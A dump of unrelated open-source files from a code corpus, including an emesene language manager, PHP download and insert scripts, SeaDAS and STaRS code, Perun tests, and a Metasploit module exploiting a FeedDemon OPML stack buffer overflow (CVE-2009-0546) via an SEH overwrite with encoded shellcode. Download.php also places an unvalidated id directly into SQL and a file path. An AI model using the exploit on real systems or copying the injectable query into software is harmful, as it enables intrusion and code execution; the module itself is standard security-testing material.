\xd0\xbc\xd0\xbe\xcc\x81\xd0\xb2\xd0\xb0', 'vec':'V\xc3\xa8neto', 'zh_CN':'\xe7\xae\x80\xe4\xbd\x93\xe5\xad\x97', 'zh_HK':'\xe6\xb1\x89\xe8\xaf\xad/\xe6\xbc\xa2\xe8\xaa\x9e (\xe9\xa6\x99\xe6\xb8\xaf\xe4\xba\xba)', 'zh_TW':'\xe7\xb9\x81\xe9\xab\x94\xe4\xb8\xad\xe6\x96\x87'} def __init__(self): """ constructor """ self._languages = None self._default_locale = locale.getdefaultlocale()[0] self._lang = os.getenv('LANGUAGE') or self._default_locale self._locales_path = 'po/' if os.path.exists('po/') else None self._get_languages_list() def install_desired_translation(self, language): """ installs translation of the given @language @language, a string with the language code or None """ if language is not None: #if default_locale is something like es_UY or en_XX, strip the end #if it's not in LANGUAGES_DICT if language not in self.LANGUAGES_DICT.keys(): language = language.split("_")[0] self._lang = language os.putenv('LANGUAGE', language) # gettext.translation() receives a _list_ of languages, so make it a list. language = [language] #now it's a nice language in LANGUAGE_DICT or, if not, it's english or #some unsupported translation so we fall back to english in those cases translation = gettext.translation('emesene', localedir=self._locales_path, languages=language, fallback=True) if not isinstance(translation, gettext.GNUTranslations): self._lang = 'en' translation.install() def install_default_translation(self): """ installs a translation relative to system enviroment """ language = os.getenv('LANGUAGE') or self._default_locale self.install_desired_translation(language) # Getters def get_default_locale(self): """ returns default locale obtained assigned only on object instantiation from locale python module """ return self._default_locale def get_lang(self): """ returns the current language code that has been used for translation """ return self._lang def get_locales_path(self): """ returns the locales path """ return self._locales_path def get_available_languages(self): """ returns a list of available languages """ return self._get_languages_list() def _get_languages_list(self): """ fills languages list""" if self._languages is None: paths = glob.glob(os.path.join(self._locales_path, '*', 'LC_MESSAGES', 'emesene.mo')) self._languages = [path.split(os.path.sep)[-3] for path in paths] self._languages.append('en') self._languages.sort() return self._languages _instance = None def get_language_manager(): '''instance Language object, if needed. otherwise, return it''' global _instance if _instance: return _instance _instance = Language() return _instance
emesene/emesene
emesene/Language.py
Python
gpl-3.0
7,488
<?php F::GetSubmit("id"); if($id) { $sql = "SELECT name FROM file_doc WHERE file_id = $id"; $name = $DB->GetOne($sql); $path = dirname($_SERVER['DOCUMENT_ROOT'].$_SERVER['PHP_SELF'])."/root/".$id; // Force the download header('Cache-Control: private'); header('Pragma: private'); header("Cache-Control: no-cache, must-revalidate"); header("Content-Disposition: attachment; filename=\"".$name."\""); header("Content-Length: ".filesize($path)); header("Content-Type: application/application/octet-stream;"); //header("Content-Type: application/force-download"); //header('Content-Disposition: attachment; filename="'.$name.'"'); //header('Content-type: application/octet-stream'); //header("Content-Type: application/force-download"); @ readfile($path); } ?>
yoursun0/leave
Download.php
PHP
gpl-3.0
773
/* * To change this template, choose Tools | Templates * and open the template in the editor. */ package NetSpace; import java.lang.instrument.Instrumentation; /** * * @author ubuntu */ public class Main { /** * @param args the command line arguments */ public static void main(String[] args) { // TODO code application logic here NetSpace.client.LoginWindow Client = new NetSpace.client.LoginWindow(1501); Client.setVisible(true); } }
A-Malone/net-space
src/NetSpace/Main.java
Java
gpl-3.0
502
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'FeedDemon Stack Buffer Overflow', 'Description' => %q{ This module exploits a buffer overflow in FeedDemon v3.1.0.12. When the application is used to import a specially crafted opml file, a buffer overflow occurs allowing arbitrary code execution. All versions are suspected to be vulnerable. This vulnerability was originally reported against version 2.7 in February of 2009. }, 'License' => MSF_LICENSE, 'Author' => [ 'fl0 fl0w', # Original Exploit 'dookie', # MSF Module 'jduck' # SEH + AlphanumMixed fixes ], 'References' => [ [ 'CVE', '2009-0546' ], [ 'OSVDB', '51753' ], [ 'BID', '33630' ], [ 'EDB', '7995' ], [ 'EDB', '8010' ], [ 'EDB', '11379' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'DisablePayloadHandler' => 'true', }, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x0a\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xff", 'DisableNops' => true, # We are not strictly limited to alphanumeric. However, currently # no encoder can handle our bad character set. 'EncoderType' => Msf::Encoder::Type::AlphanumMixed, 'EncoderOptions' => { 'BufferRegister' => 'ECX', }, }, 'Platform' => 'win', 'Targets' => [ # Tested OK on XPSP3 - jduck [ 'Windows Universal', { 'Ret' => 0x00501655 # p/p/r in FeedDemon.exe v3.1.0.12 } ], ], 'Privileged' => false, 'DisclosureDate' => 'Feb 09 2009', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.opml']), ], self.class) end def exploit head_opml = '<opml version="1.1">' head_opml << '<body>' head_opml << '<outline text="' header = "\xff\xfe" # Unicode BOM header << Rex::Text.to_unicode(head_opml) foot_opml = '">' foot_opml << '<outline text="BKIS" title="SVRT" type="rss" xmlUrl="http://milw0rm.com/rss.php"/>' foot_opml << '</outline>' foot_opml << '</body>' foot_opml << '</opml>' footer = Rex::Text.to_unicode(foot_opml) # Set ECX to point to the alphamixed encoded buffer (IIIII...) # We use, while avoiding bad chars, an offset from SEH ptr stored on the stack at esp+8 off = 0x1ff2 set_ecx_asm = %Q| mov ecx, [esp+8] sub ecx, #{0x01010101 + off} add ecx, 0x01010101 | set_ecx = Metasm::Shellcode.assemble(Metasm::Ia32.new, set_ecx_asm).encode_string # Jump back to the payload, after p/p/r jumps to us. # NOTE: Putting the jmp_back after the SEH handler seems to avoid problems with badchars.. # 8 for SEH.Next+SEH.Func, 5 for the jmp_back itself distance = 0x1ffd + 8 + 5 jmp_back = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string # SEH seh_frame = generate_seh_record(target.ret) # Assemble everything together sploit = '' sploit << set_ecx sploit << payload.encoded sploit << rand_text_alphanumeric(8194 - sploit.length) sploit << seh_frame sploit << jmp_back sploit << rand_text_alphanumeric(8318 - sploit.length) # Ensure access violation reading from smashed pointer num = rand_text(4).unpack('V')[0] sploit << [num | 0x80000000].pack('V') evil = header + sploit + footer print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(evil) end end
cSploit/android.MSF
modules/exploits/windows/fileformat/feeddemon_opml.rb
Ruby
gpl-3.0
4,129
<?php require 'includes/functions.php'; include_once 'config.php'; $companyName = $_POST['companyName']; $latitude = $_POST['latitude']; $longitude = $_POST['longitude']; $address = $_POST['address']; $yearOfExistance = $_POST['yearOfExistance']; $insertCompany = new InsertCost; $response = $insertCompany->putCompany ($companyName, $latitude, $longitude, $address, $yearOfExistance); if ($response == 'true') { echo "inserted"; } else { //Failure mySqlErrors($response); } ?>
sudikrt/cost_prediction
login/insertCompany.php
PHP
gpl-3.0
569
package gov.nasa.gsfc.seadas.processing.common; import com.bc.ceres.core.CoreException; import com.bc.ceres.core.ProgressMonitor; import com.bc.ceres.core.runtime.ConfigurationElement; import com.bc.ceres.core.runtime.RuntimeContext; import com.bc.ceres.swing.progress.ProgressMonitorSwingWorker; import gov.nasa.gsfc.seadas.OCSSWInfo; import gov.nasa.gsfc.seadas.ProcessorTypeInfo; import gov.nasa.gsfc.seadas.ocssw.OCSSW; import gov.nasa.gsfc.seadas.processing.core.L2genData; import gov.nasa.gsfc.seadas.processing.core.ParamUtils; import gov.nasa.gsfc.seadas.processing.core.ProcessObserver; import gov.nasa.gsfc.seadas.processing.core.ProcessorModel; import org.esa.beam.framework.dataio.ProductIO; import org.esa.beam.framework.ui.AppContext; import org.esa.beam.framework.ui.ModalDialog; import org.esa.beam.framework.ui.UIUtils; import org.esa.beam.framework.ui.command.CommandEvent; import org.esa.beam.framework.ui.command.CommandManager; import org.esa.beam.visat.VisatApp; import org.esa.beam.visat.actions.AbstractVisatAction; import javax.swing.*; import java.awt.*; import java.beans.PropertyChangeEvent; import java.beans.PropertyChangeListener; import java.io.File; import java.io.IOException; import java.util.Arrays; import java.util.StringTokenizer; import java.util.concurrent.ExecutionException; import java.util.regex.Matcher; import java.util.regex.Pattern; import static gov.nasa.gsfc.seadas.ocssw.OCSSW.UPDATE_LUTS_PROGRAM_NAME; import static org.esa.beam.util.SystemUtils.getApplicationContextId; /** * @author Norman Fomferra * @author Aynur Abdurazik * @since SeaDAS 7.0 */ public class CallCloProgramAction extends AbstractVisatAction { public static final String CONTEXT_LOG_LEVEL_PROPERTY = getApplicationContextId() + ".logLevel"; public static final String LOG_LEVEL_PROPERTY = "logLevel"; private static final Pattern PATTERN = Pattern.compile("^(([01]?\\d\\d?|2[0-4]\\d|25[0-5])\\.){3}([01]?\\d\\d?|2[0-4]\\d|25[0-5])$"); private String programName; private String dialogTitle; private String xmlFileName; private boolean printLogToConsole = false; private boolean openOutputInApp = true; protected OCSSW ocssw; protected OCSSWInfo ocsswInfo = OCSSWInfo.getInstance(); @Override public void configure(ConfigurationElement config) throws CoreException { programName = getConfigString(config, "programName"); if (programName == null) { throw new CoreException("Missing DefaultOperatorAction property 'programName'."); } dialogTitle = getValue(config, "dialogTitle", programName); xmlFileName = getValue(config, "xmlFileName", ParamUtils.NO_XML_FILE_SPECIFIED); super.configure(config); //super.setEnabled(programName.equals(OCSSWInfo.OCSSW_INSTALLER_PROGRAM_NAME) || ocsswInfo.isOCSSWExist()); } public String getXmlFileName() { return xmlFileName; } public CloProgramUI getProgramUI(AppContext appContext) { if (programName.indexOf("extract") != -1) { return new ExtractorUI(programName, xmlFileName, ocssw); } else if (programName.indexOf("modis_GEO") != -1 || programName.indexOf("modis_L1B") != -1) { return new ModisGEO_L1B_UI(programName, xmlFileName, ocssw); } else if (programName.indexOf(ocsswInfo.OCSSW_INSTALLER_PROGRAM_NAME) != -1) { ocssw.downloadOCSSWInstaller(); if (!ocssw.isOcsswInstalScriptDownloadSuccessful()) { return null; } if (ocsswInfo.getOcsswLocation().equals(OCSSWInfo.OCSSW_LOCATION_LOCAL)) { return new OCSSWInstallerFormLocal(appContext, programName, xmlFileName, ocssw); } else { return new OCSSWInstallerFormRemote(appContext, programName, xmlFileName, ocssw); } }else if ( programName.indexOf("update_luts.py") != -1 ) { return new UpdateLutsUI(programName, xmlFileName, ocssw); } return new ProgramUIFactory(programName, xmlFileName, ocssw);//, multiIFile); } public static boolean validate(final String ip) { return PATTERN.matcher(ip).matches(); } public void initializeOcsswClient() { ocssw = OCSSW.getOCSSWInstance(); ocssw.setProgramName(programName); } @Override public void actionPerformed(CommandEvent event) { SeadasLogger.initLogger("ProcessingGUI_log_" + System.getProperty("user.name"), printLogToConsole); SeadasLogger.getLogger().setLevel(SeadasLogger.convertStringToLogger(RuntimeContext.getConfig().getContextProperty(LOG_LEVEL_PROPERTY, "OFF"))); initializeOcsswClient(); final AppContext appContext = getAppContext(); final CloProgramUI cloProgramUI = getProgramUI(appContext); if (cloProgramUI == null) { return; } final Window parent = appContext.getApplicationWindow(); final ModalDialog modalDialog = new ModalDialog(parent, dialogTitle, cloProgramUI, ModalDialog.ID_OK_APPLY_CANCEL_HELP, programName); modalDialog.getButton(ModalDialog.ID_OK).setEnabled(cloProgramUI.getProcessorModel().isReadyToRun()); modalDialog.getJDialog().setMaximumSize(modalDialog.getJDialog().getPreferredSize()); cloProgramUI.getProcessorModel().addPropertyChangeListener(cloProgramUI.getProcessorModel().getRunButtonPropertyName(), new PropertyChangeListener() { @Override public void propertyChange(PropertyChangeEvent propertyChangeEvent) { if (cloProgramUI.getProcessorModel().isReadyToRun()) { modalDialog.getButton(ModalDialog.ID_OK).setEnabled(true); } else { modalDialog.getButton(ModalDialog.ID_OK).setEnabled(false); } modalDialog.getJDialog().pack(); } }); cloProgramUI.getProcessorModel().addPropertyChangeListener("geofile", new PropertyChangeListener() { @Override public void propertyChange(PropertyChangeEvent propertyChangeEvent) { modalDialog.getJDialog().validate(); modalDialog.getJDialog().pack(); } }); cloProgramUI.getProcessorModel().addPropertyChangeListener("infile", new PropertyChangeListener() { @Override public void propertyChange(PropertyChangeEvent propertyChangeEvent) { modalDialog.getJDialog().validate(); modalDialog.getJDialog().pack(); } }); modalDialog.getButton(ModalDialog.ID_OK).setText("Run"); modalDialog.getButton(ModalDialog.ID_HELP).setText(""); modalDialog.getButton(ModalDialog.ID_HELP).setIcon(UIUtils.loadImageIcon("icons/Help24.gif")); //Make sure program is only executed when the "run" button is clicked. ((JButton) modalDialog.getButton(ModalDialog.ID_OK)).setDefaultCapable(false); modalDialog.getJDialog().getRootPane().setDefaultButton(null); final int dialogResult = modalDialog.show(); SeadasLogger.getLogger().info("dialog result: " + dialogResult); if (dialogResult != ModalDialog.ID_OK) { cloProgramUI.getProcessorModel().getParamList().clearPropertyChangeSupport(); cloProgramUI.getProcessorModel().fireEvent(L2genData.CANCEL); return; } modalDialog.getButton(ModalDialog.ID_OK).setEnabled(false); final ProcessorModel processorModel = cloProgramUI.getProcessorModel(); programName = processorModel.getProgramName(); openOutputInApp = cloProgramUI.isOpenOutputInApp(); if (!ocssw.isProgramValid()) { return; } if (programName.equals(ocsswInfo.OCSSW_INSTALLER_PROGRAM_NAME) && !ocssw.isOcsswInstalScriptDownloadSuccessful()) { displayMessage(programName, "ocssw installation script does not exist." + "\n" + "Please check network connection and rerun ''Install Processor''"); return; } if (programName.equals(UPDATE_LUTS_PROGRAM_NAME)) { String message = ocssw.executeUpdateLuts(processorModel); VisatApp.getApp().showInfoDialog(dialogTitle, message, null); } else { executeProgram(processorModel); } SeadasLogger.deleteLoggerOnExit(true); cloProgramUI.getProcessorModel().fireEvent(L2genData.CANCEL); } /** * @param pm is the model of the ocssw program to be exeuted * @output this is executed as a native process */ public void executeProgram(ProcessorModel pm) { final ProcessorModel processorModel = pm; ProgressMonitorSwingWorker swingWorker = new ProgressMonitorSwingWorker<String, Object>(getAppContext().getApplicationWindow(), "Running " + programName + " ...") { @Override protected String doInBackground(ProgressMonitor pm) throws Exception { ocssw.setMonitorProgress(true); final Process process = ocssw.execute(processorModel);//ocssw.execute(processorModel.getParamList()); //OCSSWRunnerOld.execute(processorModel); if (process == null) { throw new IOException(programName + " failed to create process."); } final ProcessObserver processObserver = ocssw.getOCSSWProcessObserver(process, programName, pm); final ConsoleHandler ch = new ConsoleHandler(programName); if (programName.equals(ocsswInfo.OCSSW_INSTALLER_PROGRAM_NAME)) { processObserver.addHandler(new InstallerHandler(programName, processorModel.getProgressPattern())); } else { processObserver.addHandler(new ProgressHandler(programName, processorModel.getProgressPattern())); } processObserver.addHandler(ch); processObserver.startAndWait(); processorModel.setExecutionLogMessage(ch.getExecutionErrorLog()); int exitCode = processObserver.getProcessExitValue(); if (exitCode == 0) { pm.done(); String logDir = ocsswInfo.getLogDirPath(); SeadasFileUtils.writeToDisk(logDir + File.separator + "OCSSW_LOG_" + programName + ".txt", "Execution log for " + "\n" + Arrays.toString(ocssw.getCommandArray()) + "\n" + processorModel.getExecutionLogMessage()); } else { throw new IOException(programName + " failed with exit code " + exitCode + ".\nCheck log for more details."); } ocssw.setMonitorProgress(false); return processorModel.getOfileName(); } @Override protected void done() { try { final String outputFileName = get(); ocssw.getOutputFiles(processorModel); displayOutput(processorModel); VisatApp.getApp().showInfoDialog(dialogTitle, "Program execution completed!\n" + ((outputFileName == null) ? "" : (programName.equals(ocsswInfo.OCSSW_INSTALLER_PROGRAM_NAME) ? "" : ("Output written to:\n" + outputFileName))), null); if (programName.equals(ocsswInfo.OCSSW_INSTALLER_PROGRAM_NAME) && ocsswInfo.getOcsswLocation().equals(OCSSWInfo.OCSSW_LOCATION_LOCAL)) { ocssw.updateOCSSWRoot(processorModel.getParamValue("--install-dir")); if (!ocssw.isOCSSWExist()) { enableProcessors(); } } if (programName.equals(ocsswInfo.OCSSW_INSTALLER_PROGRAM_NAME)) { ocssw.updateOCSSWProgramXMLFiles(); ocssw.updateL2genProductInfoXMLFiles(); } ProcessorModel secondaryProcessor = processorModel.getSecondaryProcessor(); if (secondaryProcessor != null) { ocssw.setIfileName(secondaryProcessor.getParamValue(secondaryProcessor.getPrimaryInputFileOptionName())); int exitCode = ocssw.execute(secondaryProcessor.getParamList()).exitValue(); if (exitCode == 0) { VisatApp.getApp().showInfoDialog(secondaryProcessor.getProgramName(), secondaryProcessor.getProgramName() + " done!\n", null); } } } catch (InterruptedException e) { e.printStackTrace(); } catch (ExecutionException e) { displayMessage(programName, "execution exception: " + e.getMessage() + "\n" + processorModel.getExecutionLogMessage()); e.printStackTrace(); } catch (Exception e) { e.printStackTrace(); } } }; swingWorker.execute(); } void displayOutput(ProcessorModel processorModel) throws Exception { String ofileName = processorModel.getOfileName(); if (openOutputInApp) { File ifileDir = processorModel.getIFileDir(); StringTokenizer st = new StringTokenizer(ofileName); while (st.hasMoreTokens()) { File ofile = SeadasFileUtils.createFile(ocssw.getOfileDir(), st.nextToken()); getAppContext().getProductManager().addProduct(ProductIO.readProduct(ofile)); } } } private void enableProcessors() { CommandManager commandManager = getAppContext().getApplicationPage().getCommandManager(); String namesToExclude = ProcessorTypeInfo.getExcludedProcessorNames(); for (String processorName : ProcessorTypeInfo.getProcessorNames()) { if (!namesToExclude.contains(processorName)) { if (commandManager.getCommand(processorName) != null) { commandManager.getCommand(processorName).setEnabled(true); } } } commandManager.getCommand("install_ocssw.py").setText("Update Data Processors"); } private void displayMessage(String programName, String message) { ScrolledPane messagePane = new ScrolledPane(programName, message, this.getAppContext().getApplicationWindow()); messagePane.setVisible(true); } /** * Handler that tries to extract progress from stdout of ocssw processor */ public static class ProgressHandler implements ProcessObserver.Handler { private boolean progressSeen; private boolean stdoutOn; private int lastScan = 0; private String programName; private Pattern progressPattern; protected String currentText = "Part 1 - "; public ProgressHandler(String programName, Pattern progressPattern) { this.programName = programName; this.progressPattern = progressPattern; } @Override public void handleLineOnStdoutRead(String line, Process process, ProgressMonitor progressMonitor) { stdoutOn = true; if (!progressSeen) { progressSeen = true; progressMonitor.beginTask(programName, 1000); } Matcher matcher = progressPattern.matcher(line); if (matcher.find()) { int scan = Integer.parseInt(matcher.group(1)); int numScans = Integer.parseInt(matcher.group(2)); scan = (scan * 1000) / numScans; progressMonitor.worked(scan - lastScan); lastScan = scan; currentText = line; } progressMonitor.setTaskName(programName); progressMonitor.setSubTaskName(line); } @Override public void handleLineOnStderrRead(String line, Process process, ProgressMonitor progressMonitor) { if( !stdoutOn ) { if (!progressSeen) { progressSeen = true; progressMonitor.beginTask(programName, 1000); } Matcher matcher = progressPattern.matcher(line); if (matcher.find()) { int scan = Integer.parseInt(matcher.group(1)); int numScans = Integer.parseInt(matcher.group(2)); scan = (scan * 1000) / numScans; progressMonitor.worked(scan - lastScan); lastScan = scan; currentText = line; } progressMonitor.setTaskName(programName); progressMonitor.setSubTaskName(line); } } } public static class ConsoleHandler implements ProcessObserver.Handler { String programName; private String executionErrorLog = ""; public ConsoleHandler(String programName) { this.programName = programName; } @Override public void handleLineOnStdoutRead(String line, Process process, ProgressMonitor progressMonitor) { SeadasLogger.getLogger().info(programName + ": " + line); executionErrorLog = executionErrorLog + line + "\n"; } @Override public void handleLineOnStderrRead(String line, Process process, ProgressMonitor progressMonitor) { SeadasLogger.getLogger().info(programName + " stderr: " + line); executionErrorLog = executionErrorLog + line + "\n"; } public String getExecutionErrorLog() { return executionErrorLog; } } private static class TerminationHandler implements ProcessObserver.Handler { @Override public void handleLineOnStdoutRead(String line, Process process, ProgressMonitor progressMonitor) { if (progressMonitor.isCanceled()) { process.destroy(); } } @Override public void handleLineOnStderrRead(String line, Process process, ProgressMonitor progressMonitor) { if (progressMonitor.isCanceled()) { process.destroy(); } } } /** * Handler that tries to extract progress from stderr of ocssw_installer.py */ public static class InstallerHandler extends ProgressHandler { public InstallerHandler(String programName, Pattern progressPattern) { super(programName, progressPattern); } @Override public void handleLineOnStderrRead(String line, Process process, ProgressMonitor progressMonitor) { int len = line.length(); if (len > 70) { String[] parts = line.trim().split("\\s+", 2); try { int percent = Integer.parseInt(parts[0]); progressMonitor.setSubTaskName(currentText + " - " + parts[0] + "%"); } catch (Exception e) { progressMonitor.setSubTaskName(line); } } else { progressMonitor.setSubTaskName(line); } } } private class ScrolledPane extends JFrame { private JScrollPane scrollPane; public ScrolledPane(String programName, String message, Window window) { setTitle(programName); setSize(500, 500); setBackground(Color.gray); setLocationRelativeTo(window); JPanel topPanel = new JPanel(); topPanel.setLayout(new BorderLayout()); getContentPane().add(topPanel); JTextArea text = new JTextArea(message); scrollPane = new JScrollPane(); scrollPane.getViewport().add(text); topPanel.add(scrollPane, BorderLayout.CENTER); } } }
seadas/seadas
seadas-processing/src/main/java/gov/nasa/gsfc/seadas/processing/common/CallCloProgramAction.java
Java
gpl-3.0
20,043
/* * STaRS, Scalable Task Routing approach to distributed Scheduling * Copyright (C) 2012 Javier Celaya * * This file is part of STaRS. * * STaRS is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 3 of the License, or * (at your option) any later version. * * STaRS is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with STaRS; if not, see <http://www.gnu.org/licenses/>. */ #define BOOST_TEST_DYN_LINK #include <boost/test/unit_test_log.hpp> #include <boost/filesystem/fstream.hpp> #include <map> #include <vector> #include <log4cpp/Category.hh> #include <log4cpp/Priority.hh> #include <log4cpp/PatternLayout.hh> #include <log4cpp/LayoutAppender.hh> #include <boost/test/unit_test.hpp> #include <boost/bind.hpp> #include <boost/thread.hpp> #include <sstream> #include "Time.hpp" #include "TestHost.hpp" #include "Scheduler.hpp" #include "Logger.hpp" #include "util/SignalException.hpp" using log4cpp::Category; using log4cpp::Priority; using std::shared_ptr; const boost::posix_time::ptime TestHost::referenceTime = boost::posix_time::ptime(boost::gregorian::date(2000, boost::gregorian::Jan, 1), boost::posix_time::seconds(0)); Time Time::getCurrentTime() { return TestHost::getInstance().getCurrentTime(); } CommLayer & CommLayer::getInstance() { shared_ptr<CommLayer> & current = TestHost::getInstance().getCommLayer(); if (!current.get()) { current.reset(new CommLayer); // Make io_service thread use same singleton instance //current->nm->io.dispatch(setInstance); } return *current; } ConfigurationManager & ConfigurationManager::getInstance() { shared_ptr<ConfigurationManager> & current = TestHost::getInstance().getConfigurationManager(); if (!current.get()) { current.reset(new ConfigurationManager); // Set the working path current->setWorkingPath(current->getWorkingPath() / "share/test"); // Set the memory database current->setDatabasePath(boost::filesystem::path(":memory:")); } return *current; } // Print log messages through BOOST_TEST_MESSAGE class TestAppender : public log4cpp::LayoutAppender { public: TestAppender(const std::string & name) : log4cpp::LayoutAppender(name) {} void close() {} // Do nothing protected: void _append(const log4cpp::LoggingEvent & e) { std::ostringstream oss; oss << boost::this_thread::get_id() << ": " << _getLayout().format(e); BOOST_TEST_MESSAGE(oss.str()); } }; bool init_unit_test_suite() { // Clear all log priorities, root defaults to WARN std::vector<Category *> * cats = Category::getCurrentCategories(); for (std::vector<Category *>::iterator it = cats->begin(); it != cats->end(); it++) (*it)->setPriority((*it)->getName() == std::string("") ? Priority::WARN : Priority::NOTSET); delete cats; // Load log config file boost::filesystem::ifstream logconf(boost::filesystem::path("share/test/LibStarsTest.logconf")); std::string line; if (getline(logconf, line).good()) { Logger::initLog(line); } // Test log priority is always DEBUG Category::getInstance("Test").setPriority(DEBUG); TestAppender * console = new TestAppender("ConsoleAppender"); log4cpp::PatternLayout * layout = new log4cpp::PatternLayout(); layout->setConversionPattern("%p %c : %m"); console->setLayout(layout); Category::getRoot().setAdditivity(false); Category::getRoot().addAppender(console); SignalException::Handler::getInstance().setHandler(); return true; } int main(int argc, char * argv[]) { return boost::unit_test::unit_test_main(init_unit_test_suite, argc, argv); }
jcelaya/stars
src/test/TestSuite.cpp
C++
gpl-3.0
4,080
import os import pytest import perun.utils.helpers as helpers import perun.utils.streams as streams import perun.logic.store as store import perun.logic.index as index import perun.utils.exceptions as exceptions import perun.utils.timestamps as timestamps __author__ = 'Tomas Fiedor' @pytest.mark.usefixtures('cleandir') def test_malformed_indexes(tmpdir, monkeypatch, capsys): """Tests malformed indexes""" index_file = os.path.join(str(tmpdir), "index") index.touch_index(index_file) # Try different number of stuff old_read_int = store.read_int_from_handle def mocked_read_int(_): return 2 monkeypatch.setattr('perun.logic.store.read_int_from_handle', mocked_read_int) with open(index_file, 'rb') as index_handle: with pytest.raises(SystemExit): print(list(index.walk_index(index_handle))) _, err = capsys.readouterr() assert "fatal: malformed index file: too many or too few objects registered in index" in err monkeypatch.setattr('perun.logic.store.read_int_from_handle', old_read_int) monkeypatch.setattr('perun.logic.index.INDEX_VERSION', index.INDEX_VERSION - 1) with open(index_file, 'rb') as index_handle: with pytest.raises(exceptions.MalformedIndexFileException) as exc: index.print_index_from_handle(index_handle) assert "different index version" in str(exc.value) index_file = os.path.join(str(tmpdir), "index2") index.touch_index(index_file) monkeypatch.setattr('perun.logic.index.INDEX_MAGIC_PREFIX', index.INDEX_MAGIC_PREFIX.upper()) with open(index_file, 'rb') as index_handle: with pytest.raises(exceptions.MalformedIndexFileException) as exc: index.print_index_from_handle(index_handle) assert "not an index file" in str(exc.value) @pytest.mark.usefixtures('cleandir') def test_correct_index(tmpdir): """Test correct working with index""" index_file = os.path.join(str(tmpdir), "index") index.touch_index(index_file) index.print_index(index_file) @pytest.mark.usefixtures('cleandir') def test_versions(tmpdir, monkeypatch): """Test correct working with index""" monkeypatch.setattr('perun.logic.index.INDEX_VERSION', index.IndexVersion.SlowLorris.value) pool_path = os.path.join(os.path.split(__file__)[0], 'profiles', 'degradation_profiles') profile_name = os.path.join(pool_path, 'linear_base.perf') profile = store.load_profile_from_file(profile_name, True) index_file = os.path.join(str(tmpdir), "index") index.touch_index(index_file) st = timestamps.timestamp_to_str(os.stat(profile_name).st_mtime) sha = store.compute_checksum("Wow, such checksum".encode('utf-8')) basic_entry = index.BasicIndexEntry(st, sha, profile_name, index.INDEX_ENTRIES_START_OFFSET) index.write_entry_to_index(index_file, basic_entry) with pytest.raises(SystemExit): with open(index_file, 'rb+') as index_handle: index.BasicIndexEntry.read_from(index_handle, index.IndexVersion.FastSloth) with open(index_file, 'rb+') as index_handle: index_handle.seek(index.INDEX_ENTRIES_START_OFFSET) entry = index.BasicIndexEntry.read_from(index_handle, index.IndexVersion.SlowLorris) assert entry == basic_entry index.print_index(index_file) # Test update to version 2.0 index with open(index_file, 'rb+') as index_handle: index_handle.seek(4) version = store.read_int_from_handle(index_handle) assert version == index.IndexVersion.SlowLorris.value monkeypatch.setattr('perun.logic.index.INDEX_VERSION', index.IndexVersion.FastSloth.value) monkeypatch.setattr('perun.logic.store.split_object_name', lambda _, __: (None, index_file)) monkeypatch.setattr('perun.logic.index.walk_index', lambda _: []) index.get_profile_list_for_minor(os.getcwd(), index_file) with open(index_file, 'rb+') as index_handle: index_handle.seek(4) version = store.read_int_from_handle(index_handle) assert version == index.IndexVersion.FastSloth.value # Test version 2 index monkeypatch.setattr('perun.logic.index.INDEX_VERSION', index.IndexVersion.FastSloth.value) index_v2_file = os.path.join(str(tmpdir), "index_v2") index.touch_index(index_v2_file) extended_entry = index.ExtendedIndexEntry(st, sha, profile_name, index.INDEX_ENTRIES_START_OFFSET, profile) index.write_entry_to_index(index_v2_file, extended_entry) with open(index_v2_file, 'rb+') as index_handle: index_handle.seek(index.INDEX_ENTRIES_START_OFFSET) stored = index.ExtendedIndexEntry.read_from(index_handle, index.IndexVersion.FastSloth) assert stored == extended_entry index.print_index(index_v2_file) # Test FastSloth with SlowLorris monkeypatch.setattr('perun.logic.index.INDEX_VERSION', index.IndexVersion.FastSloth.value) monkeypatch.setattr('perun.logic.pcs.get_object_directory', lambda: '') monkeypatch.setattr('perun.logic.store.load_profile_from_file', lambda *_, **__: profile) index_v1_2_file = os.path.join(str(tmpdir), "index_v1_2") index.touch_index(index_v1_2_file) index.write_entry_to_index(index_v1_2_file, basic_entry) with open(index_v1_2_file, 'rb+') as index_handle: index_handle.seek(index.INDEX_ENTRIES_START_OFFSET) stored = index.ExtendedIndexEntry.read_from(index_handle, index.IndexVersion.SlowLorris) assert stored.__dict__ == extended_entry.__dict__ @pytest.mark.usefixtures('cleandir') def test_helpers(tmpdir): index_file = os.path.join(str(tmpdir), "index") index.touch_index(index_file) with open(index_file, 'rb+') as index_handle: store.write_string_to_handle(index_handle, "Hello Dolly!") index_handle.seek(0) stored_string = store.read_string_from_handle(index_handle) assert stored_string == "Hello Dolly!" current_position = index_handle.tell() store.write_list_to_handle(index_handle, ['hello', 'dolly']) index_handle.seek(current_position) stored_list = store.read_list_from_handle(index_handle) assert stored_list == ['hello', 'dolly'] @pytest.mark.usefixtures('cleandir') def test_streams(tmpdir, monkeypatch): """Test various untested behaviour""" # Loading from nonexistant file yaml = streams.safely_load_yaml_from_file("nonexistant") assert yaml == {} # Load file with incorrect encoding tmp_file = tmpdir.mkdir("tmp").join("tmp.file") with open(tmp_file, 'wb') as tmp: tmp.write(bytearray("hello šunte", "windows-1252")) file = streams.safely_load_file(tmp_file) assert file == [] # Safely load from string yaml = streams.safely_load_yaml_from_stream('"root: 1"') assert yaml == {'root': 1} # Bad yaml yaml = streams.safely_load_yaml_from_stream('"root: "1 "') assert yaml == {} # Nonexistant file with pytest.raises(exceptions.IncorrectProfileFormatException): store.load_profile_from_file("nonexistant", False) monkeypatch.setattr("perun.logic.store.read_and_deflate_chunk", lambda _: "p mixed 1\0tmp") with pytest.raises(exceptions.IncorrectProfileFormatException): store.load_profile_from_file(tmp_file, False)
tfiedor/perun
